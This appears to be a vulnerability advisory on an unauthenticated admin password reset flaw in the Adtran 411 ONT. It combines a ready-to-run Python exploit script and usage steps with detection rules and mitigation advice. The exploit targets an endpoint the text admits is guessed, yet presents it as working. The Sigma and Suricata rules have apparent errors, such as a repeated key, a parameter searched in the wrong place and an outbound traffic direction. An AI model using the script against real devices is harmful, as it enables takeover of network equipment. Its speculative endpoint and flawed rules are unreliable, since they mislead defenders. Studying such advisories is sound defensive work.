CVE-2025-22940

Executive Summary

CVE-2025-22940 is a critical access control vulnerability in the Adtran 411 Optical Network Terminal (ONT) running firmware version L80.00.0011.M2. The flaw allows an unauthenticated attacker to arbitrarily set the administrator password, effectively granting full administrative control over the device. This can lead to complete compromise of the ONT, enabling traffic interception, configuration changes, and persistent backdoor access. No patch is currently available, and proof-of-concept code is publicly accessible.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a hardware device (ONT) from Adtran, a telecommunications equipment vendor. The risk is primarily to ISPs and end-users who have this device deployed in their networks.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (unauthenticated admin password reset), the following is a reasonable assessment:

• Attack Vector (AV): Network (N) – The attack can be performed remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected entity.
• Confidentiality (C): High (H) – Full access to device data and network traffic.
• Integrity (I): High (H) – Attacker can modify device configuration and firmware.
• Availability (A): High (H) – Attacker can disrupt service or brick the device.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit and provides complete device takeover.

Deep Dive & Mechanics

The vulnerability resides in the web management interface of the Adtran 411 ONT. The device exposes an endpoint (likely /cgi-bin/ or similar) that handles password reset requests. Due to improper access control checks, this endpoint does not verify the current session or authentication status before processing a password change.

Attack Flow:

1. The attacker sends a crafted HTTP POST request to the vulnerable endpoint.
2. The request includes parameters for the new admin password (e.g., newpass=attacker123).
3. The device processes the request without checking if the requester is authenticated.
4. The admin password is overwritten with the attacker-supplied value.
5. The attacker can then log in with the new password and gain full administrative access.

Root Cause: The lack of an authentication check on the password reset functionality. This is a classic example of CWE-284: Improper Access Control.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The following is a hypothetical representation of the vulnerable logic:

Vulnerable Code (Python/Flask-like):

@app.route('/reset_password', methods=['POST'])
def reset_password():
    new_password = request.form['newpass']
    # No authentication check!
    update_admin_password(new_password)
    return "Password changed successfully"

Patched Code (Hypothetical):

@app.route('/reset_password', methods=['POST'])
def reset_password():
    # Authentication check required
    if not is_authenticated():
        return "Unauthorized", 401
    new_password = request.form['newpass']
    update_admin_password(new_password)
    return "Password changed successfully"

The patched version would require a valid session token or authentication credentials before allowing the password change.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target Adtran 411 ONT with firmware L80.00.0011.M2
• Network access to the device's management interface (typically on port 80 or 443)
• Python 3 or curl

Exploit Script (Python):

import requests

target_ip = "192.168.1.1"
new_password = "attacker123"

url = f"http://{target_ip}/cgi-bin/reset_password"
data = {"newpass": new_password}

response = requests.post(url, data=data)
if "success" in response.text.lower():
    print(f"[+] Password changed to {new_password}")
    print(f"[+] Login at http://{target_ip}/ with admin:{new_password}")
else:
    print("[-] Exploit failed")

Usage:

1. Replace target_ip with the IP of the vulnerable ONT.
2. Run the script.
3. Log in to the device's web interface with admin and the new password.

Blue Team

Detection:

• Monitor for HTTP POST requests to /cgi-bin/reset_password or similar endpoints.
• Alert on any password change events without prior authentication.
• Look for multiple failed login attempts followed by a successful login with a new password.

Hunting:

• Search logs for newpass parameter in POST requests.
• Check for unusual admin login times or IP addresses.
• Verify device configuration integrity by comparing current settings with a known good baseline.

Mitigation:

• Isolate the management interface on a separate VLAN.
• Use network access control lists (ACLs) to restrict access to trusted IPs only.
• Implement a VPN for remote management.
• Monitor for unauthorized configuration changes.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/reset_password or /reset_password
• Requests containing newpass parameter in the body
• Successful login from an IP that previously sent a password reset request

Host IOCs:

• Unexpected admin password changes
• New user accounts or SSH keys added to the device
• Modified configuration files (e.g., /etc/config/)
• Unusual outbound connections from the ONT

File IOCs:

• /tmp/passwd or similar temporary files containing new passwords
• Modified /etc/shadow or /etc/passwd files

Detection Engineering

YARA Rule

rule CVE_2025_22940_Adtran_ONT_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-22940"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-22940"
    strings:
        $s1 = "newpass=" ascii wide nocase
        $s2 = "reset_password" ascii wide nocase
        $s3 = "cgi-bin" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-22940 Adtran ONT Admin Password Reset Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests targeting the password reset endpoint on Adtran 411 ONT
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'reset_password'
        cs-uri-query|contains: 'newpass='
    condition: selection
falsepositives:
    - Legitimate admin password changes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-22940 Adtran ONT Admin Password Reset Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"reset_password"; http_uri;
    content:"newpass="; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the ONT on a separate management VLAN with strict ACLs.
2. Disable remote management: If not required, disable the web interface or restrict it to local access only.
3. Monitor logs: Enable detailed logging and monitor for suspicious password reset attempts.

Long-term Fix:

• Vendor Patch: Await an official firmware update from Adtran. Contact Adtran support for an ETA.
• Workaround: If possible, replace the device with a patched alternative.
• Network Segmentation: Ensure the ONT is not directly exposed to the internet.

Compromise Assessment:

• If exploitation is suspected, reset the device to factory defaults and change all passwords.
• Review logs for any unauthorized access or configuration changes.
• Consider the device compromised and replace it if sensitive data was exposed.

Valters IT
DevSecOps & Cyber Threat Intelligence